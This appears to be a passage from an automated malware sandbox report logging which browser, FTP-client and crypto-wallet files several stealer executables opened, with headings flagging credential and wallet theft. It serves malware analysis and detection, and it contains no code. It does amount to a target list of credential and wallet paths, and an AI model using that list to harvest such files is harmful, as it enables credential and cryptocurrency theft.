Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\MQAWXUYAIK
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\MQAWXUYAIK
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\MQAWXUYAIK
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\MQAWXUYAIK
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\MQAWXUYAIK
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\MQAWXUYAIK
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\MQAWXUYAIK
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\MQAWXUYAIK
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
